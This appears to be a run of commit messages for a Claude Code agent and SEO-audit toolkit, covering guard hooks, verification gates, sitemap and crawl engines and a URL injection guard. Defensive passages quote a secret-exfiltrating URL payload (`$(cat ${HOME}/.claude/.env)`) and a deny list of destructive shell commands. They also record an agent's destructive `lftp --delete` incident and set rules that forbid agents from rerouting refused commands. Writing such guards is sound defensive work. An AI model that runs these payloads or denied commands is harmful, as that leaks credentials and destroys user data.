Security-gate MEDIUM: a self-service floor-guard: allow <reason> neutralised
the detector in the same commit. User chose strict: the tool prints WAIVED,
the contract authorizes, the verifier counts the rest as gaps. BDR-102
amendment.
No profile selected (.active-profile absent, empty or legacy "none") now
means the `full` profile is in force: DEFAULT_PROFILE declared once in
lib/profile.sh, resolved by active_profile(); the statusline reads the
constant and shows `full` instead of `?`; `gstack off` trims to it instead
of erroring. `reset` goes to the default profile (= `set full`: enables its
list, parks any non-listed gstack or managed item). `current` names the
active label and scores that profile only, saying `default — not applied
yet` until a set/apply/reset wrote the cache; the "none" sentinel and the
cross-profile best-guess scan are gone (they keyed on the parked-gstack
count, which says nothing under BDR-030's gstack-off default). Hermetic
suite lib/tests/profile-default.test.sh (29 checks) seeds gstack as OFF like
a real tree. Citers updated: profile SKILL, Makefile help, plugin-advisor
PROFILE line + reset paragraph, toggle-external header.
Root causes of the 2026-09-24 errors turned into mechanisms (BDR-100). hard_deny 'Routing around a guardrail': a refused command is never rerun through a wrapper, alias, heredoc, Makefile target, env file, other shell or other agent; the same clause in 14 agents and in the doctrine's sub-agent rule. make test suite=<file> runs one suite hermetically so the denied env-prefix form is never needed by hand. lib/tests/doctrine-citers.test.sh: every CLAUDE.md "Section" / § Label citation across skills, agents, lib, rules and hooks must resolve to a heading or bold label (flip-tested); its first run fixed rest-api-node.md. Doctrine 'After code changes' step 4: a changed rule, heading, label or threshold → grep every citer in the same commit.
One ask policy; mandated executors exempt from the delegation rule; skill plan satisfies the planning rule; journal line exempt from the approval gate; chore = maintenance without new behaviour; small fix on develop = bugfix; BDR-068 written as the one auto-finish exception; deploy routes to /deploy. Skills and agents follow: hotfix types by base + skips the design gate on trivial; capitalize/close create missing registries; commit-change asks the branch type; doc/seo/web-validate/refactor branch through the aiguillage; tour reports BREAKING fixes as needs-decision and runs doc-syncer two-mode; client-handover applies audit bundles from its main loop behind one gate; init-project/onboard use the 200-file graphify signal and bootstrap memory; release-candidate gates the tag push only; push wording aligned with the BDR-095 hooks; stale pointers fixed (§ Language, .gsd/ROADMAP.md, handover script path, design-gate lists).
lib/graphify-gate.sh counts tracked code files (graphify's AST extension set, vendored trees excluded) and, from 200 with no graphify-out/graph.json, prints one banner-sized line; session-start shows it with the /graphify hint. Nothing is built, installed or updated: the rule is the user's (BDR-097), grounded in the LRN-162 measurements (AST build 2.3 s, 0 tokens, a query 2 to 3k tokens). Doctrine section and plugin-advisor thresholds follow the same rule; graphify claude install stays rejected. Test: 11 checks. GRAPHIFY_MIN_CODE_FILES overrides the threshold.
Layer C of the plan written after the 2026-09-21 wipe (BDR-095): a reviewer
sub-agent traced `lftp mirror --delete` against a local file:// tree, the
prose tiers named neither lftp nor a local trace, the brief had authorized
it, and four days of commits had never left the machine.
- gitflow: `start` pushes the branch with its upstream, merge targets are
pushed after each merge, and `init`/`install-hook` write post-commit and
post-merge hooks that push every commit as it lands (warn, never block;
GITFLOW_NO_PUSH=1 for throwaway repos). T18 + T19 (installed == emitted).
- hooks/unpushed-guard.sh on SessionStart and Stop: branch ahead of its
upstream, no upstream, or no origin. Non-blocking systemMessage.
- settings.json: static deny for transfer and mirror tools, rsync --delete,
xargs rm, pipe-to-shell, chmod/chown -R, sudo/doas/pkexec, disk tools,
chattr, docker volume drops/prune/--privileged/socket/-v /:, git history
destruction, --no-verify and core.hooksPath; new hard_deny "destructive
tool against a local path, brief carries no user authority"; soft_deny
reworded + discarding uncommitted work; environment records the incident.
- CLAUDE.global.md "Destructive tools & data loss"; the four report-only
agents trace by reading, never by running, whatever the brief says.
- lib/tests/guard-bash.test.sh: executable spec of the PreToolUse guard
(214 cases). The hook itself is not shipped (BLK-022); the spec skips.
Upstream supersedes `@21st-dev/magic` with `@21st-dev/cli` (bin `21st`):
same endpoint, `21st login` in place of an API key, no MCP process loaded
into every session.
- install-plugins.sh Step 8.7: `npm i -g @21st-dev/cli` (pinned in
plugins.lock.json), staged `21st skills install`, TTY-only login offer,
pack disabled by default. update-all.sh 7.4 refreshes both.
- The documented `21st install-skill` cannot be used: the installer refuses
to follow a symlink on the target path and `~/.claude/skills` is one. The
install runs under a throwaway HOME and the result moves into
skills-external/21st-* (gitignored), symlinked on demand.
- toggle-external.sh manages `21st` as a pack (names globbed from
skills-external/21st-*, parked under plain names). `magic` is gone.
- The 5 design skills join design/web/web-full/full and MANAGED_EXTERNALS;
21st-registry and 21st-design-sync stay parked. MANAGED_MCPS is now empty
and profile.sh's dead magic branches are removed.
- Design gate: GATE-BLOCK gains `21st` (required-manual, magic's old slot)
and `21st-ui-build`; PATH repair extended to the npm global bin.
- settings.json: the 4 mcp__magic__* ask entries go; the outward-facing
21st verbs land in autoMode.soft_deny, the tier that holds under auto
mode (LRN-153).
- Docs: README, CLAUDE.global.md, design-gate.md, profile SKILL.md,
.env.example, .gitleaks.toml, link.sh. BDR-093, LRN-158.
Tests: profile-set-managed 17/17, make test green except 2 pre-existing
gitflow FAILs (gitleaks binary absent on this host), shellcheck clean.
GATE 1 is an LLM dispatch and the verifier's mandatory PROOF: line is a line
the verifier writes — nothing structurally stops it being produced without
anything being executed. Nothing deterministic sat between the executor and
that dispatch.
An acceptance criterion can now carry an oracle: indented CHECK: (command),
EXPECT: (success-only marker), EVIDENCE: (slot). lib/gates.sh runs them
fail-closed — MET requires exit 0 AND the marker, so a nonzero process never
passes on its error text carrying the token — and writes the outcome back
into the contract, so the fresh verifier reads evidence as fact rather than
trusting the executor's report.
GATE 0 runs that floor before any verifier is dispatched; a red build sends
the executor back for free, on its own iteration budget. ABANDON: <id>
<reason> turns an impossible criterion into a visible handoff that blocks
CONFORME and routes to the human gate, via the new ABANDONED(n) verdict —
a distinct token because it routes distinctly, never a dev loop. feater and
bugfixer gain a four-pass completion discipline, scoped so a pass can never
widen the contract.
The runner's parse fails closed on partial oracles, duplicate ids,
unindented attributes and runnable criteria with no EVIDENCE: line, and
executes nothing at all when the ledger is malformed. status never executes
and never writes; run always re-executes, since trusting written evidence is
the failure being closed.
Adapted from the unlazy skill (Leonxlnx/unlazy, MIT). Its Stop hook,
approval store, .unlazy/ tree, depth-tree arithmetic and Node checker were
deliberately refused — BDR-083 records each reason.
64 assertions in lib/tests/gates.test.sh, non-execution proved by sentinel
with its own positive control asserted first.
Opus 5 follows conservative-reporting clauses literally; 'a manufactured
concern is a failure' risked suppressing real low-confidence findings.
In-place reword: ungrounded stays noise, grounded-but-uncertain files as
[MINOR] with the uncertainty in WHY:. OUTPUT grammar byte-identical;
census row added.
Fresh-opus whole-chantier ronde (17fbe51..HEAD, EVAL-023 style): axes
severed-wires / gate-regressions / fail-open PROVEN CLEAN (all 7 new
handoffs traced end-to-end both sides). Fixed: init 5b now dispatches the
FULL-AUDIT path (auto-mode gated a missing README as SIGNIFICANT →
[CREATE-AUTO] unconditional restored, sole greenfield README path);
census locks added for /geo ERROR CONTRACT + never-re-derive (deleting
the fail-closed handler would have stayed green), doc-audit
model=opus override x5 flows, SYNTH REPORT grammar; doc-syncer ex-STEP-8
prose repointed to the dispatcher gate; plugin-advisor anim rows read
the PROBE REPORT ANIM field (no Bash anymore); client-handover 9.7
cleans the transient draft. Census caught one more line-wrapped lock
before it shipped vacuous. 133 pass / 0 fail, make test exit 0.
seo-analyzer + geo-analyzer gain MODE: collect|judge|template around the
dispatcher (mode-based, zero body-text moves — seo-data fetch-wiring
locks survive; opus pin kept = fail-safe direction, a forgotten override
over-tiers but never downgrades judgment). Run-scoped gitignored
signals handoff (.audit/*-signals-<RUNID>.md + COLLECTION COMPLETE
sentinel), judge fails closed on absent/mismatched/unsealed signals.
/seo rewired to 3 phases (domains parallel per phase) + DISPATCHER ERROR
CONTRACT (mute/ERROR judge never carried into templating; retry once,
escalate); /geo same single-domain; legacy no-MODE single-shot kept on
the opus pin for /harden narrow-scope + /onboard report-only. Dropped
/geo's 'ask and I relay' fiction (dispatched agents cannot ask).
In-wave smokes PASSED disk-verified: collect signals+sentinel; judge
ERROR-verdict on wrong RUNID; real judge = honest N/A + deterministic
engine + full scoring grammar; template = complete envelope + verbatim
sentinel + zero re-derivation. Census §18 (125 pass — one vacuous
line-wrapped lock caught by the census itself and fixed), make test
exit 0.
handover-doc-writer: MODE synthesize (model="opus" call-site — STEP
9/10/12 → .audit/handover-draft-<RUNID>.md + DRAFT COMPLETE sentinel) /
MODE render (sonnet pin — STEP 13-16 from the draft, fail-closed on
absent/mismatched RUNID). Mode-based, not a file split: the §9
name+dispatch census locks survive untouched. client-handover-writer 9.6
dispatches twice with the FULL PACKAGE both times (LRN-126) + RUNID mint
+ post-run draft cleanup. In-wave smokes PASSED disk-verified: draft
written+sentinel+gitignored; render BLOCKED on wrong RUNID (no phantom
synthesis); render consumed draft + honored skip-write, report grammar
intact. Census §17 (111 pass), make test exit 0.
Reverses the BDR-066 rejected alternative (opus pins on audit agents):
session default is now Fable, so inherit burned Fable quota on every
dispatched audit/challenge. analyzer, plan-challenger, seo/geo/
validator-analyzer pinned model: opus; onboard's 6 general-purpose
audit dispatches carry model="opus"; tour Phase B repointed.
interviewer + client-handover-writer stay unpinned (inline-load only,
a pin there is inert). settings.json default: claude-fable-5[1m].
Census flipped: model-routing §3 + new §11 (61 pass), loops-light 35,
full make test green.
After a plan/reflection is elaborated and before it executes, three fresh blind
sub-agents (correctness / robustness / simplicity) attack it on the big model;
the main loop RE-THINKS every aspect a BLOCKER lands (a named plan change, or
[deferred]) and re-challenges once if the plan materially changed. Advisory into
each skill's existing human gate — the human stays the decider.
- lib/challenge-plan.md — reusable phase: fail-safe (never fail open),
severity-driven (any single-lens BLOCKER = must-address), RE-THINK loop
- agents/plan-challenger.md — challenger role (read-only, big-model per BDR-066)
- lib/tests/plan-challenger.test.sh — 41-assertion structure lock
- wired into 11 orchestrators: ship-feature/init-project/feat/bugfix (build-plan),
onboard/audit-delta/code-clean (proposals), seo/geo/harden/web-validate (fix-bundle)
Hardened by dogfooding: 3 blind challengers reviewed this feature's own v1 plan
and caught 4 BLOCKERs (fail-open, consensus-buries-lone-finding, wrong model
tier vs BDR-066, false on-disk-plan premise) — all fixed here.
Cherry-picked from claude-seo (github.com/AgriciDaniel/claude-seo, MIT)
content_quality.py, rewritten to the lib/seo-data contract per BDR-070. The
Content Shape axis was 100% LLM judgement; this gives it a measured input.
fetch.sh content_quality (stdin or --file) → {filler_score, ai_pattern_score,
information_density, overall_quality, flags[], matches{}}. 100% deterministic:
QRG §4.6 filler list (26 phrases) + AI-pattern list (46) kept intact, regex
matching, no LLM. Stdlib only (argparse/json/re/sys/collections/typing).
Advisory, NOT a verdict — the point of the wiring. It never claims a page "is
AI-written" (LRN-131/133); flags are candidates for human review. geo-analyzer
STEP 8 Check 10 makes it a deterministic input that INFORMS checks 1-9, never
replaces them, never scored on its own. A low number is not an automatic
finding.
Detection proven both directions (a detector that always- or never-flags is
useless): filler+slop text → flags [filler, low-density], overall 34-49; clean
dense factual text (dates/EUR/percentages) → no flags, overall 90. Empty input →
degraded/empty_input, never zeros-as-a-result.
Verified: GATE 1 verifier CONFORME 10/10 (both directions exercised live, lists
diffed intact vs source, advisory language confirmed); GATE 2 self-scan clean
(only sink is read-only open() for --file); seo-data 190 → 210 pass, 0 fail;
full suite green; shellcheck + py_compile clean.
Cherry-picked from claude-seo (github.com/AgriciDaniel/claude-seo, MIT)
schema_generate.py, rewritten to the lib/seo-data contract per BDR-070 — adapt,
never copy. The system audited JSON-LD but could not generate it; geo-analyzer's
G2 batch hand-wrote markup. Now it calls the verb.
fetch.sh schema_gen {reservation|order|discussion|profile} → fail-open envelope
{"status":"ok","source":"schema_gen","type":…,"jsonld":{…}}. Types: Reservation
(7 subtypes), OrderAction, DiscussionForumPosting, ProfilePage (sameAs/knowsAbout
for the entity graph). Stdlib only (import argparse, json — zero third-party),
_strip_nones so a null is never emitted, --script-tag wraps for direct paste.
Fail-open mirrors score.py's _cli exactly (the contract's named pattern): a
flag-omitted required field → argparse exit 2 + {"status":"error","bad_usage"};
a flag-present-but-empty field → {"status":"degraded","reason":"missing required
field: …"} exit 0. Never a traceback, never empty stdout (LRN-133: the
can't-generate case stays legible).
geo-analyzer G2 wiring preserves the data-integrity rule — the verb generates
STRUCTURE, unknown values stay [À COMPLÉTER], never invented.
Verified: GATE 1 verifier CONFORME 10/10 (exercised the fail-open edge cases +
diffed field surface against the source); GATE 2 self-scan clean (no
network/shell/secret/eval sink); seo-data 167 → 190 pass, 0 fail; full suite
green; shellcheck + py_compile clean.
/harden has a real scale (SKILL.md:435 — Critique -15, Haute -8, Moyenne -3,
Basse -1, clamp [0,100]). /seo had none: every axis was felt, so two runs over
identical code could disagree. That is a credibility problem on its own, and
/client-handover gates on 17/20 — a wobbling number makes the gate arbitrary.
H2 sharpened it: now that drift reports what actually changed, a score moving
on its own is visibly noise.
The split is the whole point. WHICH findings exist and how severe each is
stays the LLM's judgement — irreducible, and I am not pretending otherwise.
The arithmetic stops being judgement: same findings in, same score out. Same
principle as grouping cannibalisation rows in the engine rather than handing a
model 1000 rows to add up.
Reuses /harden's scale, /5 into /20, so the family speaks one vocabulary
instead of two.
Two things it makes real that were prose:
- **N/A is not a zero.** R2 (client-rendered on-page) and I1 (unauditable
off-page) both mandate excluding an axis and renormalising the rest. Both
left that arithmetic to the model. Now the engine does it and refuses to let
N/A behave like a zero — verified: all-20 axes with two N/A still yields
global 20.0, not a dragged-down mean.
- **Prevalence.** affected/sampled shift severity ONE step (>=50% escalates, a
single page de-escalates). A defect on 1 of 12 pages is not the defect on
12 of 12, and flattening the two is part of what made the old numbers move.
Malformed input is an error, never a silently wrong number — unlike the fetch
verbs, a degrade here would mean bad input, not a network fact. Unknown
severity and unknown profile both rejected, tested.
Verified: hand-checkable arithmetic (haute+moyenne = 100-11 = 89 → 17.8;
critique+haute = 77 → 15.4), identical global across repeated runs, weights
renormalised to sum 1.0 with two axes N/A. seo-data 155 -> 167 pass, 0 fail;
full suite green; shellcheck + py_compile clean.
The plan said Common Crawl was the free backlink source and the 70/100 cap
was therefore mandatory. Measured before building, and both premises die.
HEAD against data.commoncrawl.org, live:
cc-main-2026-feb-mar-apr-domain-edges.txt.gz 17.3 GB gzipped
cc-main-2026-feb-mar-apr-domain-ranks.txt.gz 2.3 GB
cc-main-2026-feb-mar-apr-domain-vertices.txt.gz 879 MB
Finding one domain's inbound links means scanning the edges file end to end,
per audit. That is not slow, it is non-viable — and abusive toward a
nonprofit serving the data free.
Worse, the reference implementation everyone points at
(claude-seo scripts/commoncrawl_graph.py:169) does this:
max_compressed_bytes = 500 * 1024 * 1024 # 500 MiB safety cap
if total_downloaded > max_compressed_bytes: break
500 MiB of 17.3 GB is **2.9% of the edges file**, which is sorted by source
ID — so it reads an arbitrary slice of source domains and reports whatever
backlinks happened to be in it, as a backlink profile, capped at "70/100
health". Nothing in the output says 3%. That is a random sample wearing a
measurement's clothes: the exact failure class this branch exists to remove,
and I was one step from copying it.
B2 dies with B1: nothing left to cap.
CONSEQUENCE, and it is the point: I1's narrowed Off-page axis — brand
mentions only, backlinks + authority declared unauditable in §14 — is the
FINAL state, not a placeholder waiting for data. Corrected my own I1 text,
which pointed at Common Crawl as the "nearest free source": that sends a
future reader into a 17 GB dead end. The §14 line now records what was
measured and why no number beats a fabricated one.
Also corrects the B3 note, whose follow-on ("so Common Crawl is the only free
source") was wrong for the same reason. The only free viable backlink source
is Bing's GetUrlLinks — first-party only, never a competitor, and blocked on
the client's Bing account. That raises W2's value; it does not unblock it.
Verified: full suite green, seo-data 144 pass / 0 fail.
Arbitrated (user): honest refusal on SPA, no headless browser.
STEP 2 has recorded `RENDERING: SSR/SSG/SPA/hybrid` since forever and NOTHING
ever acted on it. (The inventory claimed a "SPA severely limited" §0 flag
compensated — it does not exist. Seventh subagent claim this branch has had to
disprove.) So on a client-rendered site the FULL audit curls an empty shell,
every meta/H1/JSON-LD check reports "missing", and the agent emits a page of
false findings — plus a bundle that would "fix" tags which already exist.
rendercheck reads the verdict from what the server SENT. package.json cannot
tell a React SPA from a Next.js SSR app; the served bytes can. Stdlib only.
The refusal is the point:
- client-rendered → On-page is N/A, excluded from the weighted global, NOT
scored zero. A zero says "your on-page is bad"; N/A says "we could not see
it". Only one is true, and /client-handover gates on this number.
- No bundle item may come from a live on-page check on such a site.
- The report still says what IS auditable (robots, sitemap, headers, config,
CrUX field data — real users, hydration included — GSC, legal, images)
rather than returning an empty verdict.
- geo refuses Content Shape the same way, and states the sharper fact: AI
crawlers are WORSE at JS than Googlebot. GPTBot/PerplexityBot/ClaudeBot
fetch HTML and largely do not execute it, so a client-rendered site is not
merely unauditable by us — it is near-invisible to the engines this audit
exists to serve. §0 alert + SSR/SSG as the top user action.
Script/style text is not page text: a React shell with a fat inline
window.__INITIAL_STATE__ measures 7 chars. Without that skip a 200 KB bundle
reads as a rich page — the detector would fail exactly where it matters.
Verified on both extremes, not just the happy path: zenquality 7650 chars/1
h1/9 jsonld and lavageangels356 13973/1/1 → server-rendered, no warning; a
Vite/React shell fixture → client-rendered, 7/0/0, warned.
seo-data 136 -> 144 pass, 0 fail; full suite green; shellcheck + py_compile
clean.
seo-analyzer.md:613 asks "Every important page reachable within 3 clicks?"
and :616 asks "Orphan pages (no inbound internal links)?". Neither ever had a
command — same shape as the sameAs check before W3. This is that command.
My earlier reservation ("costs a lot of network") was wrong and the
measurement killed it: 24 pages in 2.7s, 86 in 3.8s. Cheap enough to always
run on FULL.
EXHAUSTIVE OR NOTHING is the design constraint, not a nicety. Orphans cannot
be sampled: proving a page has no inbound link means having read every other
page. So when the crawl is capped or any page fails, orphans are WITHHELD —
`orphans_withheld: true` and no list. A false orphan ("page X has no inbound
links" when it does) sends a client fixing what is not broken; that is the
worst finding this tool could emit. The cap does not degrade the result, it
invalidates it.
SPA refusal: on a client-rendered site the links are not in the HTML and
every page reads as orphaned. That is catastrophic, so an empty graph returns
degraded/no_links_in_html instead of a full false-positive list. No JS
rendering by design — that is the R1/R2 arbitration, not something to smuggle
in here.
Verified against BOTH live sites and against a planted failure, because two
clean results are not evidence a detector detects:
- native PHP: 24 pages, 335 links, depth 2, 0 orphans
- Astro: 86 pages, 2015 links, depth 2, 0 orphans
- fixture with a planted orphan + a 4-click chain: both found. Filters proven
on real shapes seen live — /css/main.css?v=1778157313, #anchors, mailto:,
tel:, external hosts, .png. /b/ in markup vs /b in sitemap unify to one node
rather than a phantom orphan pair.
Fixed a flaw in my own mock while writing that test: a single page.html
fixture cannot express a GRAPH (every node gets identical links), so the mock
is now pages.json = {url: html}.
Verified: seo-data 122 -> 136 pass, 0 fail; full suite green; shellcheck +
py_compile clean.
Everything on this branch was grounded on ONE Astro repo. A native PHP site
(lavageangels356.fr) broke two things that looked fine there.
BUG 1 — sitemap counted images as pages. _locs matched
`el.tag.endswith("}loc")`, and <image:loc> from Google's image-sitemap
namespace ALSO ends with '}loc'. Astro's sitemap has no image extension, so
this was invisible. The native site's does: 24 <url> + 3 <image:loc> came back
as count=27. The COVERAGE denominator was 12.5% too high and img/logo.png was
about to be sampled and audited as a page.
Fixed with two locks: walk the DIRECT children of each <url>/<sitemap> instead
of root.iter() (which alone excludes <image:image><image:loc>), and test the
sitemaps.org namespace explicitly. Regression fixture carries the image
extension; the old endswith code returns 9 URLs against it, the new one 7 with
zero images.
Verified both sites: native 27 -> 24, zero images; Astro unchanged at 86.
BUG 2 — the C1c family heuristic was tuned to one URL layout. "First path
segment" works for NESTED city pages (/creation-site-internet/essonne-91/ →
25 pages, 1 family) and FAILS for FLAT ones (/lavage-auto-pomponne,
/lavage-auto-torcy → 8 pages, 8 singletons). Consequence: C1c's rule "sample
>=3 from the largest family" would have targeted /services (5) and missed the
8 city pages entirely — the exact doorway-page risk the 30/70 rule exists to
catch.
Family is now "shared parent path OR shared slug prefix (>=3 URLs sharing 2+
hyphen tokens)", with both real layouts as the worked examples, plus a
sanity-check: a sitemap yielding almost as many families as URLs has defeated
the heuristic, not proved the site has no templates. Fixed in seo-analyzer and
in the geo pointer that referenced it.
Backtest results on the native site for everything else: url-guard accepts the
domain; source-scope excludes only .git (no dist/build/out exists — the
exclusions are correctly no-ops, and cache/ holds only .htaccess+.gitignore so
it is rightly untouched); the sameAs check runs and finds zero (a real GEO gap
for that site, not a tool bug); links are present in the served HTML (PHP is
SSR), so C3 is feasible there.
Verified: seo-data 119 -> 122 pass, 0 fail; full suite green; py_compile clean.
The inventory called this "no duplicate-content / cannibalisation detection".
Splitting that into its two halves shows one is free and the other is a trap.
CANNIBALISATION — free, and the data was already reachable. Search Analytics
has always accepted several dimensions at once ("no limit to the number of
dimensions that you can group by"); this engine only ever sent
`"dimensions": [dim]` and _norm_queries only ever read `keys[0]`. So
query+page — the pairing that exposes the conflict — was one parameter away
and nobody asked. Same shape of win as W1.
fetch.sh cannibal → queries where 2+ of OUR pages compete, ranked by total
impressions, strongest page first inside each. Same auth, same quota family,
no new scope. `capped` reports a full row window rather than presenting a
truncated list as exhaustive — same rule as COVERAGE and the sitemap caps.
Grouping happens in the engine, deterministically: asking an LLM to group
1000 rows by query is arithmetic it should never be handed.
Backward compatible: rows gained `keys` (the list the API actually returns);
`key` stays as keys[0], so the single-dim quick-wins consumer is untouched.
A test pins both.
30/70 DUPLICATION — deliberately NOT built, and this is the honest half.
Measuring it needs main-content extraction (strip nav/header/footer). Without
that, comparing two same-template pages returns ~95% similar for every site —
a confident false positive, which is exactly the failure class the rest of
this branch exists to remove. It stays an explicit LLM judgement over the >=3
same-family pages C1c now samples for it, labelled as judgement, never quoting
a similarity percentage nobody computed. A wrong number would be worse than
the current honest gap.
The two must not be merged in the report either: cannibalisation is a SERP
fact Google measured; 30/70 is a content question. The spec now says so.
Verified: fixture with 3 pages on one query, 2 on another, 1 on a third →
2 conflicts, correct ranking, single-page query excluded; live dispatch
degrades cleanly with no account; seo-data 110 -> 119 pass, 0 fail; full suite
green; shellcheck + py_compile clean.
opposite sample
I5 made COVERAGE mandatory and told the agent to "sample by risk, one per
template". Grounding that against a real Astro site shows the rule is half
wrong, and that one number was hiding two.
86 URLs collapse into 8 families; 75 of them (87%) come from 3 dynamic
[dept] templates. So the same 12 sampled pages are simultaneously 14% LIVE
coverage and ~100% SOURCE coverage. Reporting only 14% understates the audit;
reporting only 100% oversells it. Both lines now, in both agents — and they
bound different findings, so they must not be averaged:
SOURCE bounds CODE (one template renders its whole family: a missing
canonical in [dept]/index.astro breaks all 25 identically).
LIVE bounds CONTENT (title wording, thin pages, duplication — written per
page, so a template says nothing about its 25 instances).
The sharper half: "one per template" is CORRECT for code and WRONG for the
30/70 rule, which this same spec mandates at :954 (city pages: 30% shared,
70% unique). You cannot tell whether 25 dept pages are 70% unique by reading
one of them. The spec was mandating a check its own sampling made
structurally impossible. Sampling is now keyed to the finding class: 1 per
family for code, >=3 from the LARGEST family for duplication, spread for
per-page content.
Families come from the first path segment of the sitemap URLs (C1b) — a good
enough proxy for "same template" that needs no framework routing knowledge,
verified against the real distribution.
geo gets the same split, cut differently: JSON-LD lives in a shared layout so
SOURCE bounds Schema.org, while Definition Lead / TL;DR are written per page
so LIVE bounds Content Shape. Site-wide axes (crawler policy, llms.txt) stay
unbounded — single files, fully read.
Verified: full suite green. Caught and fixed one self-inflicted contradiction
before commit — geo's prose demanded both coverages while its output block
still had a single line.
I5 made a COVERAGE line mandatory in STEP 9 and told the agent to "count the
URLs in sitemap.xml" without giving it a command. STEP 4 only ever did
`curl … | head -50` — a preview, not a count. This closes that.
fetch.sh sitemap --url … → {count, urls[], index, dropped}. Stdlib only
(urllib + xml.etree + gzip): no auth, no Google, no venv, so it runs wherever
the mock/degrade paths run. Follows <sitemapindex> one level, dedupes, strips
whitespace, handles .xml.gz. Every cap REPORTS what it cut (children_skipped,
truncated) rather than truncating silently — same rule as COVERAGE itself.
PLAN CORRECTION: the proposal said the verb would "validate each URL via the
H1 guard". Wrong. urllib fetches these, so nothing here reaches a shell and
there is no injection surface to guard. The guard belongs at the point of
use, where seo-analyzer interpolates a URL into curl — which is the contract
the sameAs check already established. A second copy of url-guard here would
only drift from the first. The module carries a garbage filter, named as such.
SECURITY: the security-guidance hook asked for defusedxml. Taken seriously,
not obeyed — it would drag a venv into a module whose whole point is being
stdlib-only. Split the threat instead: xml.etree does NOT expand external
entities (XXE is not the vector), but it IS billion-laughs-vulnerable, and
the 20 MB read ceiling bounds the input, not the expansion. A sitemap NEVER
has a DTD — sitemaps.org is <?xml?> then <urlset xmlns=> — so any
doctype/entity is refused BEFORE parsing, with its own reason
(unsafe_xml_dtd, distinct from parse_failed: it is a finding, not a glitch).
Refusing the construct beats depending on parser internals. Fixture is a real
billion-laughs payload.
Verified against the live target, not just fixtures: zenquality's sitemap
returns count=86, dropped=0, matching `grep -c '<loc>'` on the raw XML
exactly. Dead URL → {"status":"degraded","reason":"fetch_failed"}, exit 0.
seo-data 95 -> 110 pass, 0 fail; full suite green; shellcheck + py_compile
clean.
Note: no config-edit sentinel was needed after all — config-protection guards
lib/tests, not lib/seo-data. I posted one, found it uncommitted-and-unconsumed
afterwards, and removed it rather than leave an open one-shot gate lying
around. Worth knowing: seo-data.test.sh is 110 assertions and is NOT covered
by that hook, while lib/tests/*.test.sh is.
Surfaced by dogfooding on a real Astro repo instead of reading the spec.
Claude Code installs a shell function routing `grep` to ugrep with
`--ignore-files`, so grep honours .gitignore and never descends into a
gitignored dist/. `find` honours nothing. seo-analyzer uses both.
Measured on zenquality (Astro, dist/ gitignored but built locally),
seo-analyzer.md:497 returned 92 images, 45 of them under dist/ — every asset
listed twice, source and generated copy, byte-identical. Two live
consequences:
- "top 20 by size" was ~10 real images dressed as 20.
- Batch C (`cwebp -q 80 <img> -o <img>.webp`) could target dist/og-image.png;
the .webp lands in dist/ and the `npm run build` the dispatcher runs to
VERIFY the fix erases it. Fix lands, verification passes, nothing survives,
report says applied.
lib/source-scope.sh separates source from build output, framework-aware.
`public/` is deliberately NOT excluded by default: it is Astro/Vite/Next
SOURCE and holds favicon.ico, apple-touch-icon.png and robots.txt — the very
files STEP 4 curls. It is build output only for Hugo/Gatsby, detected from
config (legacy config.toml alone is ambiguous, so it needs archetypes/ too).
Blanket-excluding it would blind the audit to its own resource checks.
findargs emits one token per line and MUST be consumed via a quoted array.
I shipped a flat-string version first and the dogfood caught it: the shell
globs */dist/* against the CWD and passes the matches to find as search
paths, which turned 90 hits into 135 and kept every dist/ file. Both the
header and a functional test now pin that.
Also: no bundle item may target build output, in either agent. That is the
real safety net — even if some future find leaks a dist path, the fix cannot
land there. Fix the source that generates the artifact; if the source cannot
be found, that is a finding, not a reason to patch the artifact.
SCOPE CORRECTION: the proposal claimed grep was auditing 86 generated files
instead of 9 templates. That was FALSE — the ugrep shim already skips them.
Killed my own premise before coding it; the real bug is narrower and lives in
find only. Do NOT "fix" the grep lines to match: they are already correct,
and adding these exclusions there would drop public/.
Verified: 90 -> 45 images on the real repo, 0 dist survivors, public/
preserved (favicon.ico still visible); 34 new assertions PASS / 0 FAIL; full
suite green; shellcheck clean. Test file addition used the documented
one-shot config-edit sentinel.
Prerequisite for C1, which is why this moved up from AXE 5. Today $DOMAIN is
typed by the operator and interpolated into ~10 curls (seo-analyzer.md:254+,
geo-analyzer.md:248+) — self-inflicted risk. The sitemap crawl changes the
threat model completely: URLs then come from the TARGET'S OWN SERVER, so a
remote file's bytes reach a shell.
The severe hazard is injection, not SSRF. Those curls quote with ", inside
which $ and backtick still execute, and ~/.claude/.env holds
GOOGLE_OAUTH_CLIENT_SECRET + CRUX_API_KEY. A <loc> of
`https://x/$(cat ${HOME}/.claude/.env)` reads the vault into a request. The
test suite asserts exactly that payload is refused.
Code, not prose: a markdown instruction does not stop an injection. Mirrors
the house pattern (fetch.sh:25 _label_safe) — whole-string allowlist, C
locale, POSIX case: newline-proof, locale-independent, no grep pitfall.
Allowlist over denylist per CLAUDE.md.
Covers: shell metacharacters; scheme (http/https only — no file:, gopher:);
literal loopback/private/link-local/metadata/.local; userinfo authority
confusion (https://trusted.com@127.0.0.1/ hits .0.0.1, not trusted.com).
NOT covered, stated in the header rather than left silent: DNS-level SSRF. A
public hostname resolving to a private address passes. Closing it needs
resolve-then-pin at the HTTP layer; shell curl cannot without a TOCTOU
window. Proportionate to the threat model — this runs on a workstation
auditing the operator's own client sites.
Wired at all three entry points: both agents' STEP 4 domain assignment, and
the W3 sameAs loop (whose URLs come from the audited repo, not the operator).
Refused sameAs rows report as REFUSED rather than vanish — neither dead nor
live, and an unguardable sameAs is itself a finding.
Note: writing the test file tripped the config-protection hook (test suite is
a guarded quality-gate). Used the documented one-shot sentinel with a reason
rather than working around the gate; it was consumed as designed.
Verified: 47 new assertions PASS / 0 FAIL, picked up by make test; full suite
green; shellcheck clean on lib/url-guard.sh (the sole remaining hit in the
health-stack glob is pre-existing, lib/gitflow-test.sh:242); guard dogfooded
against the real zenquality.fr domain (accepted) and the real exfil payload
(refused, exit 2).
google_seo.py:129 read only indexStatusResult out of the URL Inspection
response and discarded the rest. richResultsResult was already on the wire:
same call, same OAuth scope (webmasters.readonly), same quota. Google's own
structured-data verdict on the live indexed URL was being downloaded and
binned.
Plan correction: the TODO said "richresults verb". Wrong — a new verb means
a second POST to the same endpoint for a payload already received, on a
per-site quota, and nobody wants rich results without index status. Extended
inspect() instead; fetch.sh unchanged, no new verb, no new scope.
Design driven by the published schema, not by guesswork — two details I
would have got wrong:
- richResultsResult is OMITTED when Google detects none ("absent if none
found"). Surfaced as synthetic verdict ABSENT rather than a missing key: a
caller cannot tell an absent key from a check that never ran. ABSENT means
"none detected", never "invalid". The KeyError path is the real risk here,
so it has its own fixture dir (fixtures-norich/) and its own tests.
- PARTIAL is "Reserved, unused" per the API docs. The draft emitted it. It
